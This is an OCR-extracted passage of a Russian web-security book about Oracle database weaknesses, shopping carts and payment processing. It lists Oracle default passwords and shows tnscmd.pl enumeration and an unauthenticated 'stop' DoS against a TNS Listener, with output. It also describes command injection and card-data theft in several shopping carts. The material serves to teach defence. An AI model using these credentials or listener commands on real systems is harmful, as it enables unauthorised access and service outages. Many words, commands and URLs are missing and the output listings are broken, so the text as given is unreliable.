Oracle о том, что для ее программных продуктов атаки хакеров не страшны. Конечно
же, "невзламываемой" системы не существует. Обеспечение безопасности --- это про
цесс, а не цель, и даже если компании пытаются обеспечить безопасность своих про
грамм, сама идея создания "недоступного" для хакеров или "невзламываемого" про
граммного обеспечения является абсурдной.
Как специалистами по обеспечению безопасности, так и элитой
сообще
ства такое дерзкое и самонадеянное заявление было воспринято как вызов. Многие
лучшие специалисты в области защиты направили свою энергию на поиск уязвимых
мест в приложениях Oracle. Спустя лишь несколько недель приложения Oracle снова и
снова оказывались "поверженными". Порой для этого не требовалось особых усилий со
стороны многочисленных исследователей. Так стоило ли компании рисковать, заявляя о
подобной неуязвимости? На этот вопрос может ответить только сама компания Oracle.
В этом разделе рассматриваются основные компоненты, которые подвержены рис
ку нарушения безопасности и поэтому интересуют взломщиков. Кроме того, вы уз
о средствах защиты, которые помогают противостоять этой опасности.
Системные таблицы
таблицы устанавливаются по умолчанию и обеспечивают хранение ос
новной информации о внутреннем "устройстве" самой базы данных. В них содержатся
сведения о пользовательских таблицах
представлениях
и
даже всех таблицах
Ниже представлен полный список используемых по
умолчанию таблиц системы Oracle.
CONSTRAINTS
TRIGGERS
Эти таблицы нужно защищать особенно тщательно, поскольку взломщик может
воспользоваться ими для исследования базы данных и получения доступа к храня
щимся в ней данным. В рамках стратегии обеспечения безопасности компании Oracle
используется механизм назначения специальных ролей и привилегий, аудит кото
рых необходимо проводить для сохранения конфиденциальности информации. За
служивающее внимания средство аудита Oracle для системы Windows можно найти
по адресу: http://www.cqure.net/tools07.html. Подробную информацию о назначении
привилегий, определении ролей и политики безопасности можно найти по адресу:
library/817
Пароли
Пароли являются важнейшим средством обеспечения безопасности (или "средством"
взлома) в любом приложении, и продукты компании
не являются исключением.
При установке системы Oracle некоторые пароли задаются по умолчанию, так что при
первой возможности их следует сразу же изменить. Например, в системе Oracle 8.1.7 по
умолчанию используются следующие пароли (этот список далеко не исчерпывающий).
78
Часть I. Будни электронной коммерции
Имя пользователя
Пароль
SYS
change on_install
SYSTEM
manager
Sysman
Замена этих используемых по умолчанию паролей и обязательное применение бо
лее сложных паролей для пользователей и администраторов играют
роль в
том, чтобы не допустить хакеров к базе данных. При определении политики назначе
ния паролей рекомендуется руководствоваться рядом правил.
• Увеличить минимально допустимую длину паролей.
• Выбирать более сложные комбинации символов.
• Выбирать более сложные слова.
• Обеспечивать блокировку паролей.
• Назначать срок действия паролей.
• Избегать повторного использования паролей.
Чтобы узнать, как внести необходимые изменения и обеспечить использование
более надежных паролей в конкретной версии Oracle, обратитесь к соответствующим
разделам документации компании Oracle.
Привилегии
В системе Oracle определено более ста различных системных привилегий. При
управлении базой данных могут поддерживаться и контролироваться любые приви
легии, начиная с CREATE USER и заканчивая SELECT ANY TABLE.
С использованием привилегий, связанных с доступом к объектам, администра
тор базы данных может предоставлять определенным пользователям доступ к кон
кретным объектам, например к таблицам. В целом привилегии на уровне объектов
позволяют реализовать более детализированный контроль базы данных и ее таблиц,
чем системные привилегии.
При некорректном задании системных привилегий или разрешений на доступ к
объектам взломщик получает возможность неавторизованного просмотра данных. Как
правило, при этом используются операторы SQL. Более подробно этот вопрос рас
сматривается в главе
Служба Oracle Listener
Служба Oracle Listener --- это традиционная точка входа в базы данных Oracle. Эта
служба ожидает поступления запросов от удаленных или локальных источников, а
затем передает их соответствующей базе данных. По умолчанию служба Listener
прослушивает TCP порт 1521, однако администраторы могут связать ее и с другим
портом (например, 1541), поэтому необходимо уделять внимание использованию
альтернативных портов. По большому счету, для хакеров именно эта служба являет
ся "входной дверью" в программные средства Oracle.
Запрос о
Запрос о текущем состоянии, направленный службе Oracle Listener, --- это первый
шаг, который может быть предпринят при реализации атаки. Сгенерировав подобный
запрос, можно рассчитывать на получение следующей информации.
Глава 2. Web серверы и серверы баз данных
79
1. Операционная система узла.
2. Версия службы Oracle Listener.
3. Дата запуска и время работы системы.
4. Регистрационный журнал и файл параметров службы Listener, в том числе зна
чение переменной окружения
5. Доступные службы.
Например, ниже приведен листинг, сгенерированный службой Listener при обработ
ке запроса от небольшой программы Windows, написанной одним из авторов книги.
192.168.0.5 version
Returning raw data
version
?
for 32 bit
Version
Production
TNS for 32 bit Windows: Version 8.1.7.0.0 Production
Windows NT Named Pipes NT Protocol Adapter for 32 bit Windows: Version 8.1.7.0.0
Production
Windows NT TCP/IP NT Protocol Adapter for 32 bit Windows: Version 8.1.7.0.0
?i
Служба Oracle Listener сообщает о том, что операционной системой узла является
Windows, а используемая версия службы Listener (которая, как правило, синхронизи
рована с версией базы данных) --- Version
Production. Кроме того, в строке
содержится номер версии базы данных: 0x8107000 = 8.1.7.0.0.
Однако более полную информацию можно получить с помощью сценария
tnscmd.pl, который можно найти по адресу:
Следующий сценарий Perl предназначен для систем Linux и BSD.
status p 1521 192.168.0.5
sending
to 192.168.0.5:1521
writing 89 bytes
reading 6
H
R
DESCRIPTION
VERSION=TNSLSNR for 32 bit Windows: Version 8.1.7.0.0 Production
START
22:38:50
STA=ready
HANDLER
HANDLER ID=295B795C659F 4DFA 853D F6179B02DEA9
PRE=ttc~
80
Часть I. Будни электронной коммерции
SESSION=NS
ADDRESS=
PROTOCOL=ipc
ESTABLISHED=0
HANDLER
PRE=ttc~
SESSION=NS
DESCRIPTION=
PROTOCOL=tCp
PORT=1521
/I
HANDLER
HANDLER~LOAD=0
HANDLER_ID 2184A3688143 47C6 9FFD 2EBE169C3BEB
SESSION=RAW
PROTOCOL tCp
PROTOCOL STACK
SESSION»RAW
SERVICE
INSTANCE
SERVICE
INSTANCE
INSTANCE
INSTANCE
Глава 2. Web серверы и серверы баз данных
81
t
Из приведенного примера видно, что стала известной и другая информация, в том
числе следующая.
• Дата последнего запуска базы данных:
22:38:50
• Пути
и
(что облегчает анализ структуры файловой системы):
logora
• Имя узла данной системы:
• Запушенные службы (включая Global Database):
SERVICE
• Дополнительная точка входа, свидетельствующая о существовании еще одной
службы прослушивания, которой можно воспользоваться:
получить также более подробную информацию о конкретных службах с
помощью следующей команды:
services p 1521 h 192.168.0.5
sending
to 192.168.0.5:1521
writing 91 bytes
reading 6
?
ERR=0
SERVICES EXIST=1
INSTANCE
INSTANCE
SERVER
STA=ready
HANDLER
SERVER
HANDLER ID=DAOF064463F1 4B7A B413 B2EAFB29046D
PROTOCOL=beq
82
Часть I. Будни электронной коммерции
SERVICE=
SERVICE
SERVER
SERVER
ARGVO=oracleglobaldb
INSTANCE
SERVER
STA=ready
SERVER
HANDLER ID=BE4989721433 49B8 854F CABOA4E1A42F
ADDRESS=
PROTOCOL=BEQ
STA=ready
Глава 2.
и серверы баз данных
83
HANDLER INFO=DOOO
KRAMER,
1320>
HANDLER
ADDRESS=
PROTOCOL=tcp
PORT=1036
SESSION=RAW
Количество недостатков, имеющихся в службе Oracle Listener, зависит от исполь
зуемой версии системы Oracle. К ним относится утечка дополнительной информации,
возможность записи в файл, переполнения буфера и генерации условия отказа в об
служивании (Denial of Service --- DoS). Простейшая возможность генерации условия
DoS изначально заложена в версии (а возможно, она является далеко не единст
венной). Воспользовавшись этим изъяном, хакер может легко завершить функциони
рование службы TNS Listener без аутентификации. Для этого прекрасно подойдет
программа tn s cmd.pl. Чтобы продемонстрировать этот подход, сначала воспользуемся
командой ping и убедимся, что TNS Listener в данный момент активна.
ping p 1521 192.168.0.5
sending
to 192.168.0.5:1521
writing 87
reading
DESCRIPTION
Затем отправим службе Listener команду stop.
p 1521 h 192.168.0.5
to 192.168.0.5:1521
writing 87
reading
.G
ERR=0
И наконец, снова используем команду ping, чтобы определить статус этой службы.
ping p 1521 h 192.168.0.5
sending
to 192.168.0.5:1521
connect connect to 192.168.0.5 failure: Bad file descriptor at
line 165.
Теперь, разумеется, служба TNS Listener не отвечает, поскольку она была отключена.
84
Часть Будни электронной коммерции
Резюме
Web серверы и системы управления базами данных составляют основу любого
Web приложения. Если вопросам обеспечения их безопасности не уделяется должного
внимания, конфигурационные параметры этих систем со значениями, заданными по
умолчанию, предоставляют хакерам массу возможностей и способов реализации атак.
Изъяны имеются в таких Web серверах, как IIS и Apache, однако обычно они
имеют отношение ко внешним службам и связанным с ними программам, которые
без проблем можно отключить. Уровень защищенности серверов Oracle и Microsoft
SQL Server, установленных с параметрами по умолчанию, можно существенно повы
сить без ощутимого влияния на их функционирование в целом.
Глава 2. Web серверы и серверы баз данных
85
•
ГЛАВА 3
и обработка
платежей
Вы покупаете не рыбу, а жизни
Вальтер Скотт (1771 1832)
Введение
За годы своего существования розничная торговля заметно преобразилась. На заре
появления магазинов владелец такого заведения находился за прилавком и отвечал на
просьбы покупателя. Если необходимый товар был на полке, продавец давал его покупа
телю, позволяя рассмотреть поближе. Затем покупатель должен был сообщить, хочет ли
приобрести его. Если да, товар откладывался, продавец выслушивал очередную просьбу
и так происходило до тех пор, пока все нужные товары не были отложены, после чего
владелец магазина мог подготовить окончательный счет и принять оплату. Конечно, ес
ли какой либо товар покупателя не устраивал, продавец мог снова вернуть его на полку.
Сегодня в большинстве магазинов клиенты могут самостоятельно выбирать това
ры. Покупатель может обратиться за помощью к кому либо из консультантов, однако
в целом товары представлены так, что с посещением магазинов и покупками не воз
никает никаких сложностей. Таким образом, магазины могут обеспечить массовое об
служивание покупателей, каждый из которых делает покупки индивидуально. В целом
для покупателя процесс приобретения товаров заметно упростился. Такие факторы,
как размещение товаров, расположение витрин, местоположение и ширина проходов
между стеллажами в магазине, расположение контрольных касс, а также помощь со
стороны обслуживающего персонала, имеют немаловажное значение в общей органи
зации процесса продаж.
Еще
новшеством сферы розничной торговли стало появление так называе
мых "продаж по
Здесь на смену торговому залу пришел печатный каталог
товаров и четко определенный способ оформления заказов по почте или телефону.
Этот подход позволил торговым компаниям выйти на уровень обслуживания целого
региона или целой страны без использования розничных магазинов. В каталогах на
товар предлагались конкурентоспособные цены, поскольку отсутствовали накладные
расходы на поддержку розничных магазинов, инвентаризацию товара, оплату труда
персонала, планирование и материально техническое снабжение. Для выполнения за
казов использовалось несколько центральных складов и хорошо налаженная система
доставки. С точки зрения покупателя, это была качественно новая ступень: покупки
можно было приобретать, не выходя из дома.
Электронная коммерция --- это попытка объединения наиболее привлекательных
сторон приобретения товаров как непосредственно в магазинах, так и с использованием
каталогов. По сравнению с обычным каталогом Web приложения предлагают значи
тельно большие возможности для реализации диалога с покупателем. Кроме того, в до
полнение к тривиальным тексту и картинкам они позволяют применить более широкий
спектр рекламных трюков с использованием анимации, аудио и видеоклипов. Все дела
ется для того, чтобы привлечь внимание потенциальных клиентов и в конечном счете
продать больше товара. По сути, успех интерактивных магазинов почти полностью зави
сит от "простоты" процесса приобретения покупок, чему в немалой степени способст
вуют чрезвычайно привлекательные формы представления электронной информации.
Отправляясь в магазин, покупатели не придерживаются единой схемы выбора то
варов и имеют различные потребности. Торговый зал магазина и его ассортимент на
взгляд разных покупателей выглядят неодинаково (для одних более привлекательно,
для других --- менее). Поэтому самая сложная проблема, с которой сталкиваются элек
тронные магазины, --- это постараться угодить разнообразным потребностям и жела
ниям клиентов, находящихся по ту
Web интерфейса. Да и товар покупатели
выбирают по разному. Например, кто то в процессе перемещения по интерактивному
магазину предпочитает собрать перед собой все выбранные покупки, однако до са
мого конца откладывает принятие окончательного решения. Возможно, другому по
купателю больше нравится делать по одной покупке за один раз. Есть у покупателей
собственные привычки и в отношении платежей. Хотя для оплаты розничных
Глава 3. Выбор товаров и обработка платежей
87
пок большинством из них используются кредитные карточки, покупатели по
прежнему любят расплачиваться наличными или чеком. И даже при использовании
кредитных карточек покупатели, возможно, предпочитают карточки какой то опреде
ленной компании. В системах электронной коммерции должны учитываться все эти
потребности и предпочтения.
По мере развития Web приложений электронной коммерции некоторые техноло
гии и компоненты стали стандартными для любого электронного магазина. В этой
главе основное внимание уделяется двум важнейшим аспектам виртуальных магази
нов --- подсистемам выбора товара (торговым тележкам) и внешним системам обра
ботки платежей. Цель данной главы --- ознакомить читателя с несколькими наиболее
важными концепциями и проблемами, связанными с обеспечением безопасности.
Рассмотренный в этой главе материал будет использоваться при обсуждении атак на
электронные магазины, описываемых в главе 10.
Эволюция торгового зала
Проанализировав процесс развития розничной торговли, можно лучше понять
роль того или иного компонента в структуре электронной коммерции. Начнем с рас
смотрения традиционной модели розничной торговли. Ее основные элементы и их
взаимосвязь показаны на рис.
Магазин
цел
\
Компания )
Пос
Финансовое
Рис.
Схема традиционной модели розничной торговли
В традиционной модели покупатели взаимодействуют с продавцом в торговом зале
магазина. Его назначение заключается в демонстрации и, вообще говоря, хранении
некоторого количества товаров, достаточного для удовлетворения потребностей поку
пателей в течение одного дня. В торговом зале клиенты могут рассчитаться за свои
покупки, а если какие то заказы покупателей нельзя выполнить непосредственно в
самом магазине, то продавец обязан оформить заказ и его оплату. Затем такой заказ
передается владельцу магазина для дальнейшей обработки.
В целом процесс покупки и доставки организован примерно следующим образом.
Сначала компания проверяет точность заказа и наличие требуемых товаров. Если все
необходимые товары найдены, финансовый отдел компании обрабатывает платеж.
После завершения обработки платежа компания взаимодействует со своими постав
88
Часть I. Будни электронной коммерции
щиками и их товарным складом, чтобы приступить к отправке оплаченных товаров в
соответствии с заказом.
Помимо непосредственной продажи товаров, с розничной торговлей связано вы
полнение и многих других сопутствующих функций и операций. Например, необхо
димо осуществлять маркетинг, суть которого сводится к тому, чтобы выяснить, что же
в первую очередь привлекает покупателей в магазин.
По мере роста числа операций, объемов поставляемых товаров и потребностей в по
вышении эффективности предприятия розничной торговли начали использовать реали
зующие бизнес логику транзакций и управление запасами программные приложения, ко
торые были способны выполнять различные бизнес процессы автоматически. Поскольку
этот путь оказался для компаний розничной торговли весьма успешным, автоматизация
различных процессов стала использоваться все более интенсивно. На рис. 3.2 показан рост
уровня автоматизация предприятий благодаря применению вычислительной техники.
Рис. 3.2. Автоматизация с использованием компьютерной техники
Установленные в торговом зале компьютерные системы позволяют эффективно
фиксировать и обрабатывать транзакции. В конце дня все заказы по электронным ка
налам связи передаются в корпоративную систему компании. Сюда же поступают об
новленные данные от поставщиков и товарного склада, что помогает отслеживать за
пасы товаров. В свою очередь, компьютерные системы компании обычно взаимодей
ствуют с банковскими компьютерами для пакетной обработки платежей. После
завершения этой обработки заказы отсылаются поставщикам и на склад товаров для
выполнения. Однако на этом процесс развития не заканчивается. По мере роста числа
пользователей, имеющих доступ к Internet, и в результате развития серверов Web
приложений возникла электронная розничная торговля (электронный бизнес, или
электронная коммерция). Вместо автоматизации бизнес процессов предприятия сами
стали автоматизированными. Серверы приложений стали полностью поддерживать
выполнение
в Internet и были способны взаимодействовать с бизнес
процессами финансовых организаций и поставщиков. Средства Internet позволяют
выполнять и служебные функции, например связанные с маркетингом. На смену
обычным магазинам стали приходить электронные. Компании стали размещать свои
магазины в Internet и напрямую обслуживать покупателей, которые взаимодействова
ли с электронными витринами через Web броузер.
Глава 3. Выбор товаров и обработка платежей
89
В настоящее время всего за несколько минут можно оформить заказ, обработать пла
теж, обновить содержимое склада и приступить к выполнению заказов. При этом для ус
пешного функционирования такой системы требуется лишь небольшое вмешательство со
стороны человека оператора. Модель электронной коммерции изображена на рис. 3.3.
Склад товаров
Финансовое Обработка
транзакций
Маркетинг
Web
Рис. 3.3. Модель электронной коммерции
Электронная коммерция
Имея представление о модели электронной розничной торговли, рассмотрим про
цесс приобретения товаров в интерактивном магазине. Компании размещают свои
виртуальные торговые площадки в качестве Web приложений на Web серверах. Такой
Web узел становится электронным "представительством" магазина в Internet. Покупа
тели "входят" в такой магазин, просматривая
Web узел. Электронная витрина
приглашает покупателя в мир виртуальных покупок, где они выбирают и приобретают
товары. Электронный торговый зал взаимодействует с внешней системой обработки
платежей (или каналом платежей), предоставляемой финансовым учреждением, и
обеспечивает прием платежей. Кроме того, для обработки и выполнения заказов элек
тронный магазин взаимодействует с корпоративными системами самой компании, а
также системами поставщиков и программным обеспечением управления складом.
При посещении электронного магазина (или Web узла) покупатель просматривает раз
личные товары, которые в нем продаются. Он знакомится с описанием товара, его ценой
и решает, какое количество товара ему необходимо. Если покупатель решил приобрести
тот или иной товар, ему необходимо "отложить" его до завершения виртуальной прогулки
по магазину. Чтобы складывать выбранные товары в обычном магазине,
ис
пользует торговую тележку до того момента, пока он не решит подойти к кассе. Совре
менная электронная тележка (или, как ее иногда называют, корзина) аналогична обычной,
которая прекрасно знакома каждому покупателю. В ней хранятся данные о выбранных то
варах. Когда все необходимые товары выбраны, с использованием такой виртуальной те
лежки клиент может еще раз внимательно проанализировать свой выбор, а затем оплатить
покупку. В электронных магазинах платежи клиентов обрабатываются через платежные
системы, которые поддерживаются той финансовой организацией, где
банков
ские счета данного магазина. При этом должна обеспечиваться их необходимая на
стройка, которая предоставит возможность обслуживания различных потребностей кли
ентов. Платежной системой проверяется законность используемого покупателем средства
90
Часть I. Будни электронной коммерции
оплаты, а также выполняются действия, необходимые для обработки платежа и перевода
соответствующей суммы на счет владельца магазина. На рис. 3.4 представлено взаимодей
ствие покупателя с электронным магазином розничной торговли.
База данных
Рис. 3.4. Использование электронной торговой тележки и сис
темы обработки платежей
Подсистемы выбора товаров
Тележки в магазинах самообслуживания используются для удобства клиентов. По
купатель берет тележку в специально выделенном месте, находящемся рядом со сто
янкой для автомашин или у входа в магазин. Далее он передвигается с тележкой по
торговому залу и складывает в нее необходимые товары. Так происходит до тех пор,
пока покупатель не решит подойти к контрольной кассе. Расплатившись и закончив
перекладывать покупки в автомобиль, покупатель возвращает тележку на место. При
посещении электронного супермаркета виртуальная корзина используется для дости
жения той же цели --- облегчения процесса приобретения товаров. Чтобы разобраться
с основными принципами реализации процесса выбора товаров, необходимо понять,
как весь этот механизм функционирует.
Назначение и время жизни электронной
торговой тележки
Когда покупатель впервые заходит в
розничный магазин, с использовани
ем специального приложения ему предоставляется виртуальная тележка. Она используется
до тех пор, пока покупатель не разместит в ней все нужные товары и не покинет Web узел
Глава 3. Выбор товаров и обработка платежей
91
данного магазина. После оформления заказа содержимое виртуальной корзины удаляется,
а используемые ею ресурсы освобождаются. Поскольку в использовании торговой тележки
больше нет необходимости, она "уничтожается" управляющим приложением.
Сбор, анализ и сравнение
выбранных товаров
Как и при использовании традиционной торговой тележки, с помощью электронной
покупатель может выбрать нужные товары, проведя тщательный анализ предложений от
различных производителей, и поместить их в корзину. Возможность "придержать" това
ры и "перевозить" их при передвижении по магазину позволяет экономить время, за
трачиваемое на покупки. В противном случае покупателю пришлось бы оплачивать ка
ждый товар сразу же после его выбора и лишь затем продолжать навигацию по вирту
альному магазину. Кроме того, совершая покупки, можно в любой момент пересмотреть
отобранные товары и сравнить их с другими предложениями.
Отслеживание общей стоимости
Серьезное
которым обладает электронная торговая тележка по
сравнению с традиционной, состоит в том, что она обеспечивает вывод на экран те
кущей общей стоимости товаров по мере их добавления. Таким образом, покупатель
может отслеживать общую стоимость выбранных товаров и сравнивать ее со своими
финансовыми возможностями.
Изменение решения
Зачастую покупатель меняет решение о приобретении товара уже после его выбо
ра. Если найден более подходящий или дешевый товар, чем тот, который уже содер
жится в корзине, то ранее выбранный товар можно заменить новым. Если окажется,
что покупатель "не вписывается" в бюджет, то он может отказаться от каких то уже
выбранных товаров или приобрести их в меньшем количестве. Электронные тележки
позволяют покупателю удалять и изменять количество ранее выбранных товаров.
Оформление покупки
Электронная тележка помогает владельцу магазина выписывать итоговые счета.
Благодаря тому что постоянно отслеживается общая стоимость выбранных товаров,
системе контроля не требуется вычислять общую стоимость. Вместо этого просто вы
полняется подсчет налогов и дополнительных сборов, а затем генерируется итоговый
счет, на основе которого и выполняется оплата.
Таким образом, подсистема выбора товаров (электронная торговая тележка) явля
ется "сердцем" электронного магазина. Она связывает между собой покупателя, ката
лог, складскую и платежную системы. Некоторые подобные системы предоставляют
покупателю рекомендации по выбору товаров, а также возможность "на лету" срав
нить цены для ряда аналогичных продуктов. Как правило, электронные тележки реа
лизуются на сервере. При использовании такой архитектуры клиент может возобно
вить процесс приобретения товаров с того же места, в котором по какой либо причи
не был внезапно прекращен сеанс связи. Кроме того, если подсистема выбора товаров
реализована в клиентской части приложения, она становится потенциальным канди
датом для осуществления краж в электронном магазине!
92
Часть I. Будни электронной коммерции
На рис. 3.5 и 3.6 показано, как электронную тележку можно объединить с катало
гом товаров и как покупатель может отслеживать выбранные товары в процессе их
приобретения.
Cotton Shifts
IGetapairof
Socks
S to perfection.
Acme
Slum
this
Acme
100%
Plain
IGeta of
Socks
Рис. З.5. Электронная тележка, объединенная с ката
логом товаров
То Update an
change the quantity or options and click update.
Click delete to remove an item from the cart.
Options Price Total Update Delete
Total
Total
$89.99
tax where applicable.
Click Here To Continue
Рис. З.6. Содержимое
тележки
Реализация электронной тележки
Как видно из рис. 3.7, для правильной реализации подсистемы выбора товаров
(электронной тележки) необходимо объединить несколько различных компонентов.
Во первых, такое приложение нужно интегрировать с модулем управления сеансами,
который служит для отслеживания процесса приобретения товаров конкретным поку
пателем. Во вторых, модуль выбора товаров необходимо объединить с каталогом това
ров, который обеспечивает вывод на экран информации о товарах электронного мага
зина и позволяет покупателю ее просматривать. Покупатель может выбрать из ката
лога какой либо товар и поместить его в свою корзину. В третьих, электронная
корзина интегрирована с платежной системой, которая используется при оплате по
купки. В четвертых, торговая тележка связана с внутренними базами данных, напри
содержимого склада (для автоматической проверки и обновления данных по
имеющемуся в наличии товару). В таких базах данных может содержаться также ин
формация о покупателях и их предпочтениях и т.д.
Глава 3. Выбор товаров и обработка платежей
93
Покупатель
Рис. Основные принципы реализации электронной тележки
За время существования электронной розничной торговли было реализовано мно
жество различных типов электронных тележек. Одни из них
к категории
общедоступного программного обеспечения с открытым исходным кодом, другие рас
пространяются как коммерческие приложения от сторонних производителей. Несмот
ря на существование большого количества различных электронных тележек, реализа
ция многих из них оказалась неудачной, что в конечном счете повлияло на информа
ционную безопасность.
Каталог товаров
Обычно в каталоге товаров содержится код товара, его описание, цена и некоторая
дополнительная информация. Когда покупатель выбирает товар из каталога, он по
мещает его в свою корзину. Слабая интеграция каталога товаров и торговой тележки
приводит к появлению различных изъянов в подсистеме безопасности.
Например, если при выборе товара покупатель сможет манипулировать его ценой,
то может произойти серьезная ошибка. Подобные атаки, направленные на приобрете
ние товаров по сниженным ценам, более подробно рассматриваются в главе 10.
Правильно реализованная подсистема выбора товаров взаимодействует с внутрен
ней базой данных, в которых содержится информация о предлагаемых товарах. Такие
параметры, как цены, извлекаются именно из такой базы данных, а не из полей
HTML формы, передаваемых между сервером и клиентом. Не менее важной является
проверка количества приобретаемых товаров. Что случится, если покупатель размес
тит в торговой тележке отрицательное количество продуктов? И что произойдет, если
будет введено дробное число?
Управление сеансами
Еще один существенный аспект реализации электронной тележки --- поддержка
механизма управления сеансами. Совершая покупки в электронном супермаркете,
каждый покупатель должен использовать свою собственную торговую тележку. Как и
в традиционных магазинах, в электронном одновременно может обслуживаться мно
жество покупателей. Недоработанный механизм управления сеансами может вызвать
путаницу и привести к катастрофическим последствиям, особенно если кому то из
клиентов по ошибке придется оплачивать покупки кого либо другого. Для контроля
за операциями покупателей необходимо хорошо продумать серверную подсистему
управления сеансами. Плохо спроектированная система может привести к захвату се
анса злоумышленниками или к утечке информации.
94
Часть I. Будни электронной коммерции
Интерфейс с базой данных
Интерфейс между электронной тележкой и внутренними базами данных зачастую
оказывается точкой приложения усилий хакеров. Если такой интерфейс реализован
некорректно, злоумышленник может воспользоваться опасными SQL запросами к ба
зе данных и добиться нарушения безопасности системы. Хакер может также модифи
цировать промежуточные таблицы, в которых хранятся данные о сеансах и товарах,
выбранных другими пользователями.
Взаимодействие с платежной подсистемой
После завершения сеанса приобретения товаров все выбранные товары из тележки
и соответствующий счет направляются на страницу, предназначенную для генерации
счета фактуры и обработки платежей. Плохо проработанный интерфейс взаимодейст
вия в этой области может привести к фальсификации цен или вводу недопустимых
значений (для количества товара). В таком виде информация будет передана подсис
теме обработки платежей.
Примеры неудачно реализованных
подсистем выбора товаров
В этом разделе рассматриваются некоторые примеры, кратко иллюстрирующие те
негативные последствия, к которым может привести некорректная реализация элек
тронной тележки. Более полный обзор рассматриваемых здесь изъянов приводится
в последующих главах, в частности в главе 10.
ЭлектроннаятележкаCarello
Электронная тележка Carello (http://www.carelloweb.com),
систе
мой Windows NT, обладает изъяном, который позволяет удаленно выполнять команды
с использованием протокола HTTP. В состав этого приложения входит компонент
Carello.dll, используемый в процессе взаимодействия с клиентом. Добавив в специ
ально сформированный адрес
необходимые команды, взломщик может удаленно
выполнить их на Web сервере.
Например, следующий URL обеспечивает выполнение на сервере команды dir:
Полное описание этого изъяна можно найти по адресу:
Электронная тележка DCShop
Электронная тележка DCShop (http://www.dcscripts.com/dcforum/dcshop/44.html)
хранит временную информацию о заказах в виде незашифрованного текста в файле
orders.txt. Этот файл находится в подкаталоге Order системы DCShop, и любой поль
зователь может извлечь его через протокол HTTP. В файле orders.txt содержатся все
данные последних заказов покупателей, включая имена, адреса доставки, почтовые
Глава 3. Выбор товаров и обработка платежей
95
адреса, а также данные о кредитных карточках. Для реализации атаки достаточно вос
пользоваться следующим
Полное описание этого недостатка можно найти по адресу:
Электронная тележка от Hassan Consulting
Электронная корзина от компании Hassan Consulting
products.html) позволяет выполнять на сервере произвольные команды. Это приложе
ние предназначено для системы Unix и разработано с использованием языка Perl.
Сценарий shop.pl не обеспечивает фильтрации таких символов, как ; и |. Из за этого
удаленные пользователи могут вставлять в URL команды и передавать их на сервер.
При этом используется следующий URL:
Полное описание этого изъяна можно получить по адресу: http://securitytracker.com/
•
Некоторые другие электронные тележки
При реализации некоторых подсистем выбора товаров внутри исходного HTML кода
содержатся скрытые поля формы, используемые для хранения информации о товаре, его
цене, весе,
и маркировке. Взломщик может сохранить Web страницу с инте
ресующим его товаром на своем компьютере и отредактировать исходный HTML код,
например изменить параметры данного товара, включая его цену. Полное описание
этогонедостаткаможнонайтипоадресу:http://online.securityfocus.com/bid/1237.
Обработка платежей
До сих пор речь шла о просмотре покупателем предлагаемого электронном мага
зине ассортимента товаров и выборе тех из них, которые он хочет приобрести. Вся
ответственность за реализацию данного процесса возложена на приложение каталога
товаров и подсистему выбора товаров (торговую тележку). Теперь стоит подробно ос
тановиться на процессе подсчета общей стоимости выбранных товаров и на том, как
покупатели оплачивают свои покупки.
Окончательное оформление заказа
Как только покупатель завершит выбор необходимых товаров и сообщит о том, что
готов оплатить покупку, подсистеме обработки платежей передаются все необходимые
сведения о заказе из торговой тележки покупателя. Для окончательного оформления
заказа
также дополнительная информация: адрес и способ доставки,
форма оплаты и т.д. При необходимости на этом этапе покупатель может пересмот
реть сделанный заказ и внести в него изменения.
96
Часть I. Будни электронной коммерции
Форма оплаты
Покупатель может воспользоваться несколькими вариантами оплаты покупки.
Кредитные и дебетные карточки --- это наиболее популярные методы оплаты покупок,
независимо от того, совершаются они в традиционных или электронных магазинах.
Все электронные системы обработки платежей производят расчеты как по кредитным
карточкам, так и с помощью чеков.
Проверка подлинности и защита
от мошенничества
Подсистемы обработки платежей взаимодействуют с платежной системой финан
сового учреждения и обеспечивают проверку достоверности информации, указанной
покупателем при оплате покупки. При использовании кредитных карточек система
обработки платежей финансового учреждения проверяет номера кредитных карточек
и конечный срок их действия, устанавливает подлинность владельца, определяет, не
превышает ли общая стоимость покупок кредитовый остаток данной карточки, и т.д.
На Web узле электронного магазина подсистемой обработки платежей ведется
подробный журнал регистрации всех транзакций, что позволяет обеспечить четкое
взаимодействие с финансовым учреждением. Поддержка журналов регистрации в
большинстве случаев обязательна, а для самих журналов необходимо обеспечить на
дежную защиту. Взломщик, получивший доступ к такому журналу, --- это прямая уг
роза нарушения безопасности системы, идентификационных данных и средств обра
ботки платежей. В дальнейшем их можно использовать в мошеннических махинациях.
Выполнение заказа и
торгового чека
После того как платеж успешно обработан, платежная подсистема виртуального
магазина подтверждает принятие заказа, а затем генерируется торговый чек для поку
пателя. В настоящее время такие приложения позволяют отправлять покупателям
торговые чеки по электронной почте, а также сообщать о доставке оплаченного това
ра. Может также предоставляться сопроводительный номер, используемый службой
доставки, чтобы покупатель мог самостоятельно отслеживать процесс доставки заказа.
Общие сведения о подсистеме
обработки платежей
На рис. 3.8 представлена схема типичного процесса обработки платежей для элек
тронной коммерции. Тремя основными функциональными элементами подсистемы
обработки платежей для электронного магазина являются модуль подтверждения зака
за, модуль взаимодействия с платежной системой финансового учреждения модуль
взаимодействия с базой данных транзакций (рис. 3.9).
Современные способы борьбы с подделкой кредитных карточек
Одна из самых популярных тем при обсуждении электронного бизнеса --- это мо
шенничество с кредитными карточками. Практически
в новостях
Глава 3. Выбор товаров и обработка платежей
97
упоминается об инцидентах подобного рода. Еще большее число таких происшест
вий остается "за кадром". На современном рынке бытует миф о том, что безопас
ность кредитных карточек всецело зависит от протокола SSL. На самом деле в боль
шинстве случаев этот протокол имеет весьма отдаленное отношение к подделке кре
дитных карточек. Между тем SSL сеанс действительно является той преградой,
которая не позволяет хакеру прослушивать сетевой трафик и извлекать конфиденци
альную финансовую информацию, отправляемую покупателем в интерактивный ма
газин. Сегодня не зафиксировано ни одного случая мошенничества с кредитными
карточками, когда злоумышленнику удалось бы взломать сеанс, шифруемый
"ненадежным" 40 разрядным ключом протокола SSL, и похитить идентификацион
ные данные покупателя. Более того, первая причина мошенничества с кредитными
карточками в электронной коммерции связана с проникновением хакера в электрон
ный магазин и получением им информации из базы данных транзакций.
Несколько лет назад был разработан протокол Secure Electronic Transaction (SET).
Этот протокол позволяет владельцу магазина не получать фактическую информа
цию о кредитных карточках. Согласно такой схеме в транзакции одновременно
участвуют три стороны --- покупатель, продавец и финансовое учреждение. Когда
покупатель решает оплатить покупки,
на его компьютере отправляет
продавцу сообщение с точными данными о транзакции и копией цифрового сер
тификата покупателя. Никаких данных о кредитной карточке не сообщается. Затем
